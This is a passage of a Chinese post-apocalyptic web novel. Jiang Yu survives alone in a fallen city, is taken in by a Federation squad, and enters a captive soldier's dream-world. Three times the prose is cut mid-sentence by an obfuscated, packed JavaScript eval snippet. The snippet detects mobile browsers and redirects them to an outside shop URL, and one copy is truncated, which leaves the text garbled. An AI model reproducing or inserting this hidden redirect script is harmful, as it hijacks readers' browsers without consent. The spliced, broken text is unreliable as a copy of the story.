进度条的下面写着：“这房子贷给你真是白瞎了！” “到底是向谁买了这房子啊屁话这么多！”纪小麦念出来后……顿时恼羞成怒！她高高举起本子，却不敢摔，像是很怕摔坏了一样，最终还是很老实地揣回到了兜里。 “装修进度？收回房间？”姜渔看到新出现的文字细细揣摩，“看来不仅要还房贷，还需要加快装修，不然的话，我们都会面临死亡威胁。” 纪小麦挠了挠头，不好意思地说：“好像是的。” “但是-1也太过分了。”姜渔目光瞟向身旁的微波炉，“是因为这个微波炉太差劲了吗？认为还不如不摆？这手账本还怪有审美要求的。” 姜渔对这个推测很无奈，不禁看了眼窗外的夜色，恨不得立刻马上就出去杀怪。 “云市还剩多少只衍生体？”纪小麦心领神会，一边给姜渔捶腿，一边狗腿地问。 姜渔叹口气：“纪小麦同学，你知道自己根本碰不到我吧？” “知道，知道，但态度很重要，嘿嘿。”其实纪小麦心里有些后悔，是她构建出这样一个空间，还拉好友下水，让她这么辛苦。 “没事的，你忘了吗，我很能打。”姜渔虚空戳了戳纪小麦的脸。 “不错，不错！你很能打！我也不能什么也不贡献！”纪小麦是那种给点阳光就百倍绽放的性格，绝不扫兴，看到姜渔的态度后，她立即振作起来，双手挽起袖子就冲向那些大纸箱。 她开始吭哧吭哧地与纸箱战斗，要将它们叠成一团：“或许先把垃圾都丢出去，装修进度就会到0%了！” 姜渔看纪小麦十分卖力但又有些无计可施的样子，觉得好玩，也上前帮忙。 “破盲盒！臭资本家！破东西！纸箱厂卖什么微波炉！过度包装！骗我晶核！” 听着纪小麦的怒骂，姜渔脑海中忽然蹦出一个念头。 她觉得自己似乎抓到了什么重要的东西。 姜渔回忆着纪小麦的话，直到，她捕捉到那一句—— 纸箱厂卖什么微波炉！ “等等！”姜渔忽然叫停纪小麦，她看着气喘吁吁的纪小麦，认真说： “我觉得我们还有一件乔迁礼物没有拆。” “什么？”纪小麦不禁纳闷发问。 她怀疑姜渔是不是受恶心微波炉的打击太大了。 姜渔接过她手中的纸箱，动作利索地将纸壳箱子拆开摊平。 纪小麦看到姜渔专注的动作，立即心领神会，将剩余几个纸壳箱子也解体了。 当一切纸壳箱拆开后，纸壳箱内侧的暗黄纸板上，露出了不明显的棕色线条。 那些线条，勾勒出难以理解的形状，但绝非毫无规律的混乱，反而明显是隐藏了什么信息的样子。 两人对视一眼，姜渔笑道：“纸箱厂，做的最好的，当然是纸箱。” 说完，两人伏在地上开始研究起上面的图案。 “这里！”纪小麦很快在一张小纸箱上看见一个熟悉的形状，万分惊喜：“这个芒果状的地方，像不像云市？这里是南山！这一大片是大学城……” “不错。”姜渔看过去，立即点头，这一年，她在云市各个角落穿梭，云市地图几乎熟记于心，“这些纸箱，是地图！” “好像是，而且这些图可以拼起来……”纪小麦拉过来另一片箱子，两人发现线条对上了。 只用了三两下，客厅内就拼出一块残缺的地图。 除了云市，还有三个不知名城市是完整的，其余线条都没闭合。 “那这个数字指的是……”纪小麦眼尖，再次发现在每个封闭线条的城市，右下角都标有大小不一的数字。其中最多的城市在地图的最左侧，数字为45899；另外两座城市的数字也几千上百。云市最小，只有3。 “你刚刚不是问云市还有多少衍生体么？我想我们有答案了。”姜渔拍拍纪小麦的肩膀。 这张地图，大概率是一张能显示图上地区衍生体数量的地图！ “太好了。”纪小麦长出一口气，忍不住再次吐槽：“这功能可比那微波炉神奇多了。” “没错，没想到你设计的盲盒也这么特别。”姜渔笑着逗她。 “是是是，你最懂我啦！”纪小麦有些不好意思。 看着眼前地图上的数字，姜渔暗自盘算着，她该收拾行李了。云市的衍生体杀完了，她就去地图上标注的其他地点，无论如何先活下去。并且联邦军正在肃清各地的衍生体，联邦内各势力盘踞争权，而她一年前放弃了撤离，现在户籍上应该属于流民甚至已死亡的状态，贸然行动麻烦肯定少不了，被哪个路过的势力当做间谍就地处决了也不是没可能。现在有了这张地图，应该会让事情简单不少。至少可以少走弯路。 “只是……”姜渔看着那些尚未拼全的地图残缺，“想要得到完整地图也是个大工程啊。” 而纪小麦走到门边，打开门向外张望。 “你干嘛？”姜渔有些疑惑。 纪小麦又把门关上了，表情沮丧：“我想看看能不能把那个微波炉退掉，看来不行……” “噗，这仨瓜俩枣也救不了咱俩的家，没事儿的。”姜渔瞥了一眼厨房，“如果真如它所说，有概率生成稀有晶核，我倒是觉得是个投资机会。” 纪小麦只好作罢。 姜渔打了个哈切：“好了，我先去休息，明天我就出发，去找衍生体。” 一切木已成舟，她们都知道，这是唯一的办法。 “好！你去哪儿我都跟着你！”纪小麦挥了挥拳头，一副蓄势待发的样子。 随即，姜渔闭上眼睛，再睁开时，她已经离开了1301室，眼前还是熟悉的房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143706|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但纪小麦已经不见了踪影。 她第一时间走向餐边柜。 深呼一口气，打开。 餐边柜内，空空如也。里面的晶核果然已经被清空了。 ====== 丁素的头有些疼。 两个多小时之前，她在现场后知后觉地发现了一个不寻常的东西：车辙。 现在，丁素揉着太阳穴，看着眼前大红色的跑车，忍不住再次发问：“这里已经成为战区一年了对吧。” “整一年。”宋涯看着窗外，表情凝重。 顾礼有些犹豫：“老宋，对方真的是人类吗？目前联邦收集到的关于衍生体的信息中，并没有确切说明衍生体不会使用武器……等等，那些车辙？之前有衍生体会开车的记录吗？”他越说越觉得离谱，衍生体的体格对于人类驾驶舱来说太大了。 “开车？也没有。”宋涯回想了一下：“只有衍生体晶核附在车辆上，导致案件发生的例子。” 终于，几人来到了港湾公寓楼下的大红跑车前。 “我只知道一点。”贺少云面对这辆暴发户气质十足的张扬跑车做出总结，“从我的经历来看，选上这种车，不管是人类还是衍生体，都不太好打交道。” 唐千苇：“很好看啊，我倒是觉得他眼光不错。”她不知怎么的，对这位不曾谋面的陌生人有了种惺惺相惜的感情。 “行动。”丁素开启了下一步行动。 五人小队进入港湾公寓，第一时间，就察觉到了诡异之处。 大堂中，有一具衍生体尸体，十分巨大，有两辆跑车的大小。 大堂另一侧，衍生体的骸骨堆满了电梯前方，已经不知道能拼出多少只衍生体。 丁素感到头皮发麻，但仍下了指令：“继续前进。” 唐千苇：“队长，咱们有可能发现从没见过的超新衍生体诶！你老人家一点儿也不激动？！” 顾礼接话道：“没准儿这儿窝藏着哪个邪恶势力的间谍头子。” “我倒希望是衍生体。”贺少云在头盔下叹了口气，“在这种地方存活的人类……”他打了个寒战，“应该比衍生体还恐怖吧！” 队伍里，只有宋涯和丁素没有说话，五人小队丝毫没有放缓步伐。虽然所有人都知道，即便他们是夜莺机动队内的精锐分支，但如果对面是单凭一己之力就几乎杀死全城衍生体的敌人，他们能做的，只是为组织传递这一份重要情报罢了。 活下去，就是天赐的幸运。 随着丁素领头开始逐层向上探查，每一层的景象都显露在众人眼前。 数不清的衍生体尸体，层层叠叠，摞在楼道的各处，分不清是那种存在将衍生体豢养在此杀死，还是衍生体为了存活，共同向“那种存在”发起了无谓的冲锋。 丁素觉得自己明明是在向上攀登，感觉却更像是在深入地狱。 直到丁素领头，停在一间走廊的门前。 与其它层不同，只有这一层格外干净，没有一具尸体。 这一层内，又只有这一扇门，没染上任何灰尘与鲜血。 “行动。少云为首，我垫后，其余人掩护。”丁素没有说话，而是用手势下令。 随即，贺少云深呼吸一口气，脚部发力，用肩部狠狠撞向了门！ 没有撞开。 但已经足够打草惊蛇。 五人对视一眼，贺少云便再次用尽全身力气，再次撞向门！ 吱呀。 门忽然开了。 贺少云扑了个空，他收不住力，摔在地上，但很快翻滚起身。 丁素下意识端起枪，打开探照灯。四道强光同时照亮了眼前这座公寓的所有布局。 没有一群装备精良的人类，更没有任何狰狞的怪物。 少女穿着柔软的睡衣，显然刚被吵醒，她一只手还攥着门把手，另一只手挡在眼前，强光让她睁不开眼，所以语气更加不满： “才过去一年，人类就已经这么不懂礼貌了吗？” 7. 她在说谎 “双手举高！” 丁素见到姜渔的瞬间瞳孔微缩，当姜渔说完话时，她已经举起枪对准了姜渔的额头。 夜莺机动队会针对队员的思觉定力进行专训，其中很关键一点的就是：刻意训练回避与幻体对话。 在丁素眼中，对面的少女并未再说话，而是配合地缓缓举起双手。 但从己方破门，冷冰冰的枪口指着她的头，少女的双眸中始终未起一丝波澜。 丁素有种感觉，这个看似平静的屋子内，定然埋藏着一个天大的秘密。 对峙中，扑空的贺少云连忙回到丁素身旁，似乎是为了掩饰刚才的尴尬，他神色蛮严肃地说：“我在地上观察到她穿了原始蛇群的限量鞋子。” 那是一个户外奢侈品牌。 贺少云此刻说出的消息也像末世中的奢侈品一样，没什么用。 所以没人回应他。 对一个希望成为喜剧大师的人来说，场面更加尴尬了。 他想打破沉默，又缺乏急中生智的幽默能力，竟硬着头皮鬼使神差地问了句：“哪买的？” 贺少云问完后想重新趴回地上的心都有了。 “金庭商场。”姜渔淡淡说。 对面几个人装备精良，看上去就是联邦的机关人员。虽然具体身份未知，但她也没老实到要讲出自己是怎么在猎杀了两只10期衍生物后，“随便”换上一双鞋子的事情。 万一告我盗窃呢。 贺少云发起的尴尬对话一定程度上缓解了双方的紧张，顾礼适时小声向丁素报告：“思觉塌陷风险检测完成，进入幻境沼泽可能性为0——她是人类。” 丁素点点头，并未就这样放下枪，而是追问：“姓名。” 姜渔面不改色：“我以为客人才应该先自报家门呢。” 丁素沉默几秒，开口：“夜莺机动队，丁素。他们是我的队员。” 姜渔听过这个名字，觉得有些讽刺：“云市已经沦陷一年了。你们来得好像有点晚。” 丁素皱眉，没有理会姜渔话中的讽刺意味，语气不变：“姓名。” “姜渔。” “职业。” “无业。” “你在这里做什么？” “生活。” 不是生存，而是生活。随着姜渔的回答，几个人的目光落在姜渔身后的餐桌上，那里仍然摆着一个图案抽象的蛋糕，此时竟为姜渔的话添了几分荒诞的信服力。 因为确认人类身份，加上姜渔的配合，双方紧张的感觉再次消减不少。 顾礼的学究气已经熊熊燃烧，他琢磨着姜渔刚刚的回答，意识到一个问题，不可置信地问：“云市沦陷了一年，你就在这里生活了一年？” 众人看向姜渔的目光都细微地闪烁几下。 皮肤黝黑，肌肉匀称，眼神虽然平静，但长长的睫毛下，又似乎藏着浓浓的侵略性。 姜渔在众人的注视下不置可否。 贺少云侧身靠向顾礼提问：“不是，这能写进历史书了吧？” “人类在战区内独自生活的记录是九个月十七天。这数据仅来自官方统计，民间的传言倒是很多。”顾礼的严谨不仅让他没有正面回答问题，还忍不住补充，“历史书不会收录这种知识。生存相关的科目教科书倒是有可能。” 贺少云一个不注意便被上了一课，悻悻住口了。 姜渔没有将两个人的谈话放在心上，她的目光始终放在丁素身上。 眼前这个名叫丁素的队长，从开始到现在，手中的枪口一直没有离开她的眉心。 非但如此，丁素的手，从来没有任何颤抖，丁素的眼睛，也从来没有眨过。 稳。太稳了。 姜渔对丁素越观察，越觉得深不可测。这个女人的身上仿佛没有一丝弱点。 但还好的是，双方并没有直接冲突，而自己正好需要这个机会前往下一个战区…… 她不禁开口：“丁队长，来晚了总比不来好。身为联邦公民，我至少可以向你们寻求帮助吧。” 虽然她可能早已经被销户了，但丁素她们在战区应该不能太快查到姜渔的户籍信息。 “当然。等你随我们回到主城，确认公民身份后，以你的经历，我相信很多人愿意帮助你。” 话虽然是这么说…… 但丁素连姜渔寻求的是什么帮助都没问，丝毫没有让姜渔主导对话的节奏。 姜渔觉得对方更加难搞了。 “外面那些衍生体是怎么回事？”丁素终于问出最关键的问题。 姜渔斩钉截铁：“我不知道。” 经过一系列对话，姜渔已经准备好了一切可能会面对问题的答案。 自己现在的任务是收集晶核，这是一项属于灰色地带的行动。与夜莺机动队这种官方组织打交道的话，最重要的就是避免麻烦。 然而，这是一个姜渔自认安全的回答，却不是丁素想要的回答。 于是丁素依然没有放下枪。 这时，姜渔听到了一个声音：“这是你的刀吗？” 姜渔的目光立即从丁素身上移开。 她看到一个男人不知何时已经拿起了玄关处的长刀。 从开门到现在，姜渔一直在意一件事情。 门开时，有四道强光。随着自己双手举高后，只剩下一道来自丁素枪身上的光。 换言之，加上扑空在地的家伙，这支小队应该有五个人。 但是站在自己眼前的，始终只有两男两女。 所以，有一个人，藏在暗处。 姜渔默默记着这件事，以免发生偷袭之类的事情。 然而，当第五个人出现的时候，她又发现自己竟然完全没注意到对方何时走进了门。 是有什么特殊的装备？异能？ 第五个人正是宋涯，他拿着刀注视姜渔，等待着答案。 “是。”姜渔说。 “东柳街道上，有一只衍生体的尸体，尸体上存在刀伤。”宋涯的话将局势再次推向紧张的对峙，“现场的车辙，停在这栋公寓的楼下。” “嗯。我知道。不过在解释这个问题之前，我想先问一句，衍生体也有人权了吗？”姜渔早知道对方寻到这里不是偶然，依照心里计划好的对策说道：“所以，你们怀疑我杀了衍生体才将枪对着我？身为联邦公民，我记得夜莺机动队这五个字，代表的可是安全。” 姜渔说这句话时，将目光放到了顾礼身上。 通过刚才的对话，她发现只有这个人可能会说出一些有用的信息。 “衍生体没有人权。”顾礼果然贴心地补充，“但30期衍生体的晶核属于联邦资产。如果你提交线索的话，会有重大奖励。” 姜渔默然一阵，开口问：“……多大？” “很大。最近一次公民提交30期晶核线索，获得了60万联邦币。那枚晶核还是由我们收……” “够了。”丁素冷冷打断了顾礼的话，用目光示意姜渔继续回答。 姜渔其实有些懵。 她心里的计划是，不管对方是否追究衍生体死亡，她都要说自己是在出门寻找物资时，发现了衍生体的尸体，“凶手”实则另有其人。 但姜渔百密一疏，忘记了晶核的事情。就像自己脚上昂贵的鞋子一样，晶核同样属于财产，只不过市面罕见而已。 30期的晶核，光是线索就价值60万，还是国有资产。 奖励越大，罪责越大，自己刚把它给兑换了算什么罪名？ “云市不只有我一个人。”姜渔心里补充好逻辑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143707|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，开始回答，“有一个女人——准确地说，我不知道对方算不算人。这个女人的皮肤有些蓝，但脸上长满了绒毛，看不清五官。我能在这里生活，全仰仗那个女人在四处猎杀衍生体。今天早上，我开车去买蛋糕，路过东柳街道，见到了你们说的衍生体尸体。以往我不敢细看，你们说我才意识到，或许那个女人在收集晶核。” “刚为什么撒谎说你不知道？” “怕被那个蓝色女战神报复。”话虽这么说，姜渔的脸上一点害怕的神色都没有，反倒有点敷衍。 “会收集晶核的类人生物吗？”顾礼觉得这句话在考验自己的知识库。 宋涯则再次开口，拉回到原本的问题：“刀伤是怎么回事？” “那是云市巡城部的制式长刀。”姜渔微笑，“我看到那个女战神背着类似的长刀，有些熟悉，后来我也去巡城部借了一把。” “你说的信息，对我们很重要。”丁素终于放下了枪，说，“不过，你仍是涉及30期晶核盗窃一事的关键人物，跟我们回主城吧。留在这里，也只会成为不久后的火力清扫对象。” 丁素收枪转身，最后留下一句：“我在楼下等你，收拾好行李就下来。” “乐意之至……”姜渔保持着礼貌的微笑，只是话音未落，一声“铮”响忽然在房间中响起！狭窄的门口亮起一道幽光！ 姜渔眼中闪过一丝厉色，她迎着那道幽光，右手以迅雷之势抄起摆在餐桌上的餐刀，俯身向前挥去！ 叮！ 一声脆响，餐刀应声而裂，一柄闪着幽光的短刀，竖在姜渔的眉心处！ 姜渔盯着对方——始终靠着门，打量自己的那个少女。她的目光中永远闪着热火。 此时此刻，两人近在咫尺，少女眼中的热火燃烧得更旺了。 “唐千苇，收手。”门外，丁素皱眉喝道。 唐千苇并没有第一时间收手，而是缓缓靠向姜渔：“你骗不了我，我们是同样的人。” “我们不一样。”姜渔仍维持着礼貌的微笑，“你慢了一点。” 唐千苇没有回应。她收回刀，慢慢退后，现出喉间的血痕，所幸没有大伤。 所有人都看到了。 方才交锋时，姜渔的餐刀虽然断了，但姜渔第一时间攥住了断裂的餐刀碎片，插向了唐千苇的喉间！ 那是种本能的反应，只有长年累月在战区中厮杀的士兵才能锻炼出来。 “走吧。”丁素淡淡下了命令，几人陆续撤出房间。 姜渔留在房间里，她环顾了一下房间，发出一声怅然的叹息。 良久，她进入卧室简单收拾了一番，背上包，将房间内所有房门关好，最终站在餐桌旁，品尝了一口自己今天做的蛋糕后，出门了。 …… 楼下。 贺少云按捺不住好奇，问安静等待的丁素：“队长，你信她说的话吗？” “不信。”丁素回答很简单，不过，她话锋一转，“你们知道我为什么放下枪吗？” 贺少云就是想知道这个，忙问：“为什么？” 其余几个人也被吸引了好奇，侧耳倾听。 “我注意到了她的措词。”丁素说着，表情有些复杂，“蛋糕是‘买’的，刀是‘借’的。她好像很怕被追究什么责任的样子，在这种事情上莫名的遵纪守法。” “既然她怕被事后追责，就证明她此时不会跟我们作对。” 这时，姜渔背着包下来了，她走近众人，举起手晃荡着手中的钥匙。 姜渔问：“你们开车了吗？” 丁素摇头：“我们要去高速路口。” 姜渔则指着路对面的豪华跑车：“那挤一挤，坐我当时捡到的没人开的还插着钥匙的车吧。” Y-11众人：…… 8. 陆伯原 引擎的轰鸣声，在京云线的高速路口上平息。本就空间不大的跑车上挤了足足六个人，显得格外局促。 丁素率先跳下车来，向掠夺者6600型军用越野车走去，几名队员陆续跟上。 姜渔留在最后。她将钥匙拔下来，开门下车，摸了摸冰冷的车门，眼底闪过一丝黯然。 “再见了，老朋友。”她叹口气，轻声说，最后看了眼荒凉的城市后，跟上队员们的脚步。 掠夺者6600型高度足有3.5米，车身由最先进的合成金属云钛铸成，配备高强度防弹玻璃，装载两门轻型炮筒，是彻头彻尾的一只钢铁怪兽。 丁素与宋涯进入驾驶室，姜渔则尾随剩余几人，踩着钢梯进入后车厢。 后车厢较为整洁，两侧设有软座，供人休息。 姜渔一眼注意到了蹊跷。 唐千苇率先入座，顾礼从软座上拿起一本书开始阅读，贺少云戴上一副眼镜与耳机，耳机中隐隐传来脱口秀节目的声音。 三个人都没有去管车厢中的——第五个人。 姜渔却移不开目光。 软座上，唐千苇身旁，一个青年双手被拷着手铐，锁在车身上固定，双脚同样被拷上，与软座的凳脚连在一起。双眼则被黑带缠上，耷拉着头，没有声息，看上去像一名囚徒。 但与囚徒不同的是，青年穿着与夜莺机动队同样的队服，脸瘦削却干净，不像经过了什么战斗，脖子上还被贴心地套上了颈枕。 引擎启动，低沉声如野兽苏醒，掠夺者奔腾起来。 姜渔环视一圈，真的没有人在意这个被铐住的家伙，每个人都又忙又闲的样子。 三人中，只有唐千苇倚着小窗，望着车外的夜空，看上去最没有事在忙。 于是姜渔向唐千苇问：“喂，他是怎么回事？” “唐千苇。”唐千苇瞄了姜渔一眼，笑说：“我叫唐千苇。” “顾礼。“顾礼一边看书一边头也不抬地指向身边的贺少云，“他叫贺少云，前面那个叫宋涯。” 姜渔点点头，坐在唐千苇的对面。 唐千苇浅浅的笑意并未褪去，仍打量着姜渔。 姜渔读懂对方的意思，那是一种隐晦的挑衅，这个叫唐千苇的女生似乎总认为她与自己有什么相同之处，一副“我知道我都知道”的模样。 姜渔觉得有些无趣，眉梢抬了抬：“你没回答我的问题。” “这种情况，你不熟悉吗？”唐千苇只是反问，仍不回答。 “不想说就算了。”姜渔避开了唐千苇的目光，眉眼低垂。 她本就要睡觉了，路途遥远，此时只想休息。 只要这几个人不把她绑成那副样子，就无所谓。 “说，说。我说。”唐千苇见姜渔低头就要睡，忙伸出手在姜渔脸前挥了挥。 姜渔抬起头，看向对方。 “幻境沼泽。”唐千苇的声音清亮，咬字清晰，“他叫陆伯原，在上一轮行动中陷入了幻境沼泽。所以我才好奇——你是怎么做到从没有陷入幻境沼泽的？” 唐千苇话音落下，顾礼立即合上书本，看向身旁的姜渔，目光炯炯有神，全部都是求知欲。 这秘密可比书上写的更吸引人。 姜渔一笑：“你怎么知道我没有陷入过幻境沼泽呢。” 唐千苇一噎。 她想起来了，这女人“捡”土豪跑车，“借”巡城部制式刀具，“买”抽象蛋糕，“住”衍生体尸体包围的公寓。这是个不好打交道的女人，同样很擅长用反问回答问题。 顾礼却是对知识的渴望胜过一切，赶紧替唐千苇回答：“能逃出幻境沼泽的人很少很少，每一个幸存者都是极其宝贵的例子，但你看上去既非旧民，又不像改造者，只是身手很好。普通人逃出幻境沼泽的可能性可以说是几乎没有的。” 随着顾礼说完，车厢陷入沉寂，姜渔能感觉到除了贺少云和被铐住的陆伯原，大家都在竖耳倾听。 自己没搞懂的事情，自然不要多说。姜渔揣摩一番自身情况后，说：“我的车技很好，很少接触衍生体。” “哦，你车技是挺好的。”唐千苇想起了一路上的风驰电掣，很爽快地承认了。 这是一个心理学上的小技巧：承认对方的优点可以快速拉近距离。唐千苇顺势问出自己更加好奇的问题：“云市那么多车，你怎么想到要捡那辆？” 姜渔收到对方的夸奖还是有些受用的，便老实说：“我喜欢热闹。” 喜欢热闹还一个人住在这里？有这本事早逃回主城了好吧。唐千苇暗暗咬牙。 “所以，他可能醒过来吗？”姜渔拉回话题。 随着顾礼的一声轻叹，车厢的气氛瞬间变得有些低沉。 “怎么了？”姜渔这才有些好奇，“我看你们也不是很关心他的样子。” “陷入幻境沼泽的人，只能自救。”顾礼静静看着陆伯原，“我们担心也没有用，只能带着他，期望他能在抵达主城前醒来。” 姜渔微微皱眉：“为什么要在抵达主城前？” 抵达主城后，就有更好的医疗条件……何况不是刚说只能自救么？ 顾礼沉思了一下，看向驾驶室的丁素，确认丁素没有什么反应后，才开口说：“人类的实力，在官方内是有等级划分的，这事儿你知道吗？” 姜渔点点头：“听说过。” 顾礼接着说：“陆伯原是探索级，虽然是最初阶的等级，但也远超普通人类了。而越厉害的人类，在陷入幻境沼泽后，引发的后果也越危险。” 信息来到了姜渔未曾听闻的领域，她追问：“什么危险？” “如果这种强者可以逃出幻境沼泽还好，但一旦在幻境沼泽中死亡，其幻境沼泽就有可能侵入现实，形成幻境废墟，其后果远比衍生体入侵更恐怖。”顾礼看向陆伯原的眼神中带着一丝兔死狐悲的意味，“陆伯原要么在抵达主城前醒过来，要么就会被送往远离主城的中转地，等待死亡。” “不会的。”唐千苇忽然冷冷插了一句话，“如果小陆没醒，我就带他在城外生活，我能照顾得了，直到他醒。” “那是违反纪律的，也会威胁到人民的安全。”顾礼长长叹了口气。 “那我带他走得越远越好。”唐千苇的语气中有不容置疑的倔强，“就算他才加入咱们一年，我也不能放弃。” “醒过来你也是老幺。”丁素开着车，终于开口了。 “重点根本不是这个！”唐千苇怒吼，引起几人低笑，严肃的氛围被冲散了不少。 稳重的队长，考究的、冷幽默的、暴力狂的、新晋的、实力神秘的队员。 有些吵，但总体上是重情重义的。姜渔这样想着，这才有了种回到人间的感觉。 于是她想到了纪小麦。 “我先睡了。”姜渔低声说着，闭上了眼。 …… 再睁开眼，姜渔已经来到了1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卧室的房门紧闭着，但其四周的门缝处，却渗出了丝丝的黑气。 “你卧室怎么了？” “不知道啊！”纪小麦也愣住了，抄起小马扎惊问，“什么东西啊里面！” “先冷静。”姜渔挡在纪小麦身前，沉声分析着：“虽然这里是你口中一种意志的选择。但既然让咱们贷款买下了这间房子，总不至于一期贷款没还就要了咱俩的命。” “谁知道它是不是什么黑心商人啊！”纪小麦对微波炉事件耿耿于怀，带着恨意说道。 姜渔则缓缓靠近纪小麦的房门，一边说着“没事的，你靠后”，一边将手按上了门把手。 这一夜，第一次开门，她见到了纪小麦。 第二次，会是什么呢？ 姜渔心中的好奇已经大过了恐惧，她手上用力，一口气将门打开—— 卧室门后，竟与之前纪小麦打开客厅门时一样，变成了一片漆黑的宇宙虚空！ 而与客厅外面不同的是，在卧室门后的虚空远处，有一团浩瀚的艳黄色星系。 星系中，有零零星星的声音响起。 那些声音不大，却幽幽浮荡在整片虚空中。 “哥哥，妈妈走了，我们以后怎么办啊？” “陆伯原！你个狗杂种出了这扇门只会死在外面！” “一条丧家之犬，也想保护你的妹妹吗？” …… 姜渔怔住半晌，才反应过来。 卧室的门后，连接着陆伯原的幻境沼泽。 9. 她的精神锚点 陆伯原的幻境沼泽，为什么会出现在纪小麦的卧室门后？ 姜渔若有所思。 “不是，我床呢？我那么大一张床呢？”纪小麦则急了，她伸出手想向门内探一探，结果手指在快要伸向门后时，却被一堵看不见的无形之墙阻挡住了。 纪小麦的手指被戳得生疼，捂着手指叫痛。 姜渔抬手，缓缓靠近，却没有任何阻挡地伸向了门内。 当她的手臂伸向门后时，门后也现出了一条木地板材质的窄窄小路。 姜渔立即明悟。 迄今为止，无论是纪小麦手中的手账本，还是购买家具家电的交易方式，这些1301室内出现的所有异象都比较通俗易懂。 这条小路同样如此。 它基本就是在告诉自己，通过这条小路，可以进入陆伯原的幻境沼泽。 可为什么？ 里面有什么？ 她进去又要做什么？ 她为什么要进去，去冒未知的风险？ 四个问题，构成了一个最基本的问题——她到底有什么必要？ 纪小麦还在呼呼吹着手指，姜渔望着虚空陷入沉思，首付买下的1301室，纪小麦卧室房门后面连接的幻境沼泽，这之间到底有什么联系？ 她回头望去，自己的卧室门敞开着，并没有什么异样…… “会不会和括号里的数字有关？”纪小麦虽痛却没有置身事外，她将思绪放在了1301室之外的现实世界。 “括号里的数字，代表陆伯原幻境中存在29只衍生体？”姜渔马上理解了纪小麦的思路，“我们车上带着陆伯原，而陆伯原的幻境沼泽中有这些衍生体。所以这些衍生体才随着我们的行驶路线一同移动？” “这是目前能找到的最合理的解释。”纪小麦点点头，“除了存在未知的危险外，算是个好消息。因为我们赚取晶核的方式增加了，不然你去衍生体超级多的战区，同样要面临未知的危险。” “听起来像多了一份兼职。”姜渔叹口气，对自己这种必须四处谋生的生存状态又多了几分新的认知，随后看着门后的虚空轻声说：“但幻境沼泽跟战区可不一样，我经历过。” “或许，换一个思路，毕竟我们也不确定，你在幻境沼泽中获得的晶核能否带到1301室来。”纪小麦打了个响指——“但如果你能进入幻境沼泽，就代表你有很大可能可以救出陆伯原。所以，你觉得这个人值得一救吗？” “能加入夜莺，证明他基本的三观应该是得到认可的。”姜渔顺着纪小麦回答，“夜莺几个人对他的态度，也算不上排斥，反而那个姑娘还要冒险保护他。” 纪小麦笑盈盈地看着姜渔。 “或许我们有答案了。”姜渔看着纪小麦，无奈地长出了一口气，“打着救人的名号来偿还房贷，不就是我当初报名巡城部的打算么？我这算不算不忘初心？” 她苦笑着摇摇头，迈出脚，留下一句，“记得要向这边喊我的名字，对面并不是现实世界，或许我能听见。” “我会的。”纪小麦点点头，“我等你回来。” 姜渔不再说话，她的脚踏上了门后的木地板。 瞬间，姜渔失去意识。 1301室，只剩下纪小麦，面对着陷入寂静的虚空。 …… “谢谢您来参加葬礼，请自便。” 身穿黑色长袍的中年神父神情悲悯地向她说道。 她点点头，找了个最近的座位入座。 环顾四周，这是一间破败的教堂，泛着阴冷的气息，木质的座椅上传来潮湿腐烂的气息，让人有些不适。整间教堂，只有一缕阳光透过满布灰尘的玻璃花窗，落在教堂十字架下的棺材上。 教堂中人不多，大家都穿着黑色衣服，样式简单，干净整洁，每个人的脸上都浮着一层淡淡的悲伤。 忽然，一声嚼薯片的脆响响起。 她有些诧异地向旁边看去，是一个蛮白净的男孩，寸头，六岁左右，穿褐色短裤与白色衬衫，目光炯炯有神地看着棺材，手一次次伸向包装袋将薯片送进嘴里，嚼得津津有味。 古朴的教堂中，出现一袋明黄色包装精美的薯片，实在有些突兀。 “你是谁家的小孩？这样很没有礼貌的。” 她担心主人家或者男孩父母会上来揍这个男孩一顿。 “我跟老徐很熟，他会罩我的。”男孩的话其实有些市井间的小无赖气，但他的语气平淡，并无猖狂鄙夷之意，又有些像见惯世面的贵公子。 她有些愠怒，“老徐是谁？” 不管是谁，也太没有分寸了，让一个小孩在这种场合乱来。 “神父。”男孩轻描淡写说着，“但看什么葬礼，有时候也扮和尚，道士，或者律师。哦，还有跳大神的，但比较少。他之前想做演员，没闯出名头来，就在这里靠帮人办丧事过活。” 她震惊于这个名为老徐之人的无下限。 男孩说完，斜倪了这个身穿黑色长裙的少女一眼：“你来参加葬礼，却不知道老徐？谁啊你？” 她忽然怔住，又反应过来：“我参加葬礼干嘛要认识神父！” 其实她的反问是在掩饰自己的心虚。因为她发现自己不仅不认识神父，甚至真的不知道自己是谁！更别提自己这是来参加谁的葬礼了！ 思绪至此，她连忙起身向棺材走去，等走近了，她见到棺材中躺着一名中年女人，五官精致，美丽至极，安详地如同睡去。 她很悲伤。 因为她发现自己也不认识这个女人。 宿醉？失忆？还是什么？她有些急了，注意到棺材边上，除了簇拥着的鲜花，还围着一圈廉价的玻璃玫瑰装饰品。这些玻璃玫瑰如同镜子，她连忙凑上前去看，一朵玻璃玫瑰上，立即现出了一个妙龄少女的精致的面容。 